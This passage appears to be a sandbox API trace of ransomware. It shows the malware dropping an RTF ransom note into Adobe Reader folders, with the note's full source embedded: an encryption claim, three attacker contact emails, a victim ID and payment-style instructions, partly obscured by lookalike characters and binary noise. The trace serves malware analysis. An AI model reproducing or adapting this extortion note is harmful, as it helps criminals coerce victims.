ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÿ­\r\x86j½Ç\x88à\x1b£ÐW\x1aÿ¤H9ù©u\x14\x7f\x18m;\x01¬\x87\x143'", lpUsedDefaultChar=0x0) returned 14086 [0043.442] WriteFile (in: hFile=0x1d0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0043.448] CloseHandle (hObject=0x1d0) returned 1 [0043.448] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\!bwng_info!.rtf")) returned 0x20 [0043.448] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\!bwng_info!.rtf")) returned 0x20 [0043.453] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\!bwng_info!.rtf")) returned 0xffffffff [0043.453] GetLastError () returned 0x2 [0043.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0043.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 